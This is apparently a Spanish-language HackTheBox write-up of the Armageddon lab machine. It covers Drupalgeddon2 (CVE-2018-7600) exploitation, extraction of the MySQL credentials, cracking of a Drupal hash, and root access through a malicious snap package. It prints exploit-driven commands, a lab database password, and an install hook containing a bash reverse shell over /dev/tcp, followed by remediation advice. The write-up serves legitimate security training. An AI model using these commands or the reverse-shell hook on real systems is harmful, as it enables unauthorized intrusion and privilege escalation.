HackTheBox

Armageddon



Key Findings


Durante el análisis de seguridad de la máquina Armageddon se identificaron las siguientes vulnerabilidades críticas:

  • Drupal CMS versión 7.56 vulnerable (CVE-2018-7600 "Drupalgeddon2")
  • Credenciales de base de datos MySQL expuestas en archivos de configuración
  • Credenciales de usuario almacenadas con hash débil
  • Hash tipo Drupal $S$ crackeado mediante ataque de diccionario
  • Escalada de privilegios vía binario /usr/bin/snap
  • Instalación de paquete Snap con hooks maliciosos

Key Learning Objectives


Los objetivos de aprendizaje clave en esta máquina incluyen:

  • ✅ Network Port Scanning & Service Enumeration
  • ✅ Web Application Fingerprinting & Version Discovery
  • ✅ Drupal CMS Vulnerability Assessment
  • ✅ CVE-2018-7600 Exploitation (Drupalgeddon2)
  • ✅ Database Credential Extraction from Configuration Files
  • ✅ MySQL Database Analysis & User Data Extraction
  • ✅ Drupal Password Hash Identification & Cracking
  • ✅ SSH Authentication with Compromised Credentials
  • ✅ Sudo Privilege Analysis & Enumeration
  • ✅ Snap Package Privilege Escalation Techniques

Reconnaissance & Enumeration


El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.

❯ sudo nmap -p- --open -n -Pn -vvv -oG ports 10.10.10.233
❯ sudo nmap -p 22,80 -sCV -oN services 10.10.10.233

Resultados:

  • Puerto 22/tcp: Servicio SSH
  • Puerto 80/tcp: Servidor Apache HTTP ejecutando Drupal CMS

El escaneo reveló archivos de configuración expuestos incluyendo CHANGELOG.txt que divulgaba información de versión.


Web Application Assessment


La aplicación web presentaba un panel de login estándar con mensajes de estado de desarrollo, indicando que el sitio aún estaba en construcción.


Version Discovery


El análisis del archivo CHANGELOG.txt reveló que el sistema ejecutaba Drupal versión 7.56, una versión conocida por contener vulnerabilidades de seguridad críticas.


Vulnerability Identification & Exploitation


La versión identificada de Drupal 7.56 era vulnerable a CVE-2018-7600, comúnmente conocido como "Drupalgeddon2". Esta vulnerabilidad crítica de ejecución remota de código fue descubierta y parcheada por el equipo de seguridad de Drupal en abril de 2018. La vulnerabilidad afecta múltiples versiones de Drupal CMS, permitiendo a atacantes remotos ejecutar código arbitrario en el servidor sin autenticación mediante la manipulación de parámetros de formulario.

La explotación se realizó utilizando:

Se estableció exitosamente una reverse shell a través de la vulnerabilidad.


Configuration File Analysis


Las credenciales de la base de datos fueron descubiertas en el archivo de configuración de Drupal /var/www/html/sites/default/settings.php, una ubicación común para la configuración de base de datos de Drupal.


Database Analysis & Credential Extraction


Debido a la inestabilidad de TTY, se aprovechó el exploit obtenido anteriormente para ejecutar comandos MySQL remotamente:

❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'SHOW DATABASES;'"
❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'USE drupal; SHOW tables'"
❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'USE drupal; SELECT * FROM users;'"

La enumeración de la base de datos reveló el usuario brucetherealadmin con la contraseña hasheada $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt.


Password Hash Cracking


El tipo de hash fue identificado utilizando la base de datos de hashes de ejemplo de Hashcat:

❯ hashcat --example-hashes | grep '\$S\$' -A 20 -B 20

El hash de Drupal (modo 7900) fue crackeado exitosamente usando un ataque de diccionario:

❯ hashcat -m 7900 hash $(locate rockyou.txt) --force

Contraseña crackeada: booboo


User Pivoting


Se estableció acceso SSH utilizando las credenciales comprometidas:

❯ ssh brucetherealadmin@10.10.10.233

La flag de usuario fue recuperada exitosamente, y comenzó la enumeración de escalada de privilegios.


Privilege Escalation


El análisis de privilegios sudo reveló que el usuario podía ejecutar /usr/bin/snap con privilegios de root. Esto presentó una oportunidad de escalada de privilegios a través de la instalación de un paquete snap malicioso.


Snap Package Privilege Escalation


Los siguientes comandos fueron ejecutados en la máquina de ataque local para crear un paquete snap malicioso:

# Install fpm package manager
❯ sudo gem install fpm

# Create malicious snap package
❯ COMMAND="bash -c 'bash -i >& /dev/tcp// 0>&1'"
❯ cd $(mktemp -d)
❯ mkdir -p meta/hooks
❯ printf '#!/bin/sh\n%s; false' "$COMMAND" > meta/hooks/install
❯ chmod +x meta/hooks/install
❯ fpm -n xxxx -s dir -t snap -a all meta

El paquete snap malicioso fue creado exitosamente:

El paquete fue transferido al sistema objetivo:


Root Access Achievement


El paquete snap malicioso fue instalado con flags dangerous y development mode:

❯ sudo snap install xxxx_1.0_all.snap --dangerous --devmode

Los privilegios de root fueron obtenidos exitosamente:

La flag de root fue recuperada:

❯ cat /root/root.txt


Recommendations



Immediate Actions


1. Update Drupal Installation

  • Actualizar Drupal a la última versión estable
  • Aplicar parches de seguridad para CVE-2018-7600
  • Implementar procedimientos adecuados de gestión de actualizaciones

2. Database Security

  • Cambiar las credenciales de base de datos por defecto
  • Restringir el acceso a la base de datos solo a servicios necesarios
  • Eliminar credenciales expuestas de archivos de configuración

3. Password Security

  • Aplicar políticas de contraseñas fuertes
  • Implementar autenticación multifactor donde sea posible
  • Rotación regular de contraseñas para cuentas administrativas

4. System Hardening

  • Eliminar privilegios sudo innecesarios
  • Restringir permisos de instalación de paquetes snap
  • Revisión regular de privilegios de usuario y controles de acceso

Long-term Security Improvements


1. Access Controls

  • Implementar el principio de mínimo privilegio
  • Auditoría regular de permisos de usuario y acceso sudo
  • Segmentación de red y restricciones de acceso

2. Monitoring

  • Desplegar soluciones de logging comprehensivas
  • Implementar alertas en tiempo real para actividades sospechosas
  • Monitorear instalaciones no autorizadas de paquetes snap

3. Regular Security Assessments

  • Realizar evaluaciones periódicas de vulnerabilidades
  • Implementar escaneo de seguridad automatizado
  • Pruebas de penetración regulares de aplicaciones web

4. Configuration Management

  • Almacenamiento seguro de datos de configuración sensibles
  • Implementar controles de acceso a archivos de configuración
  • Pruebas regulares de backup y recuperación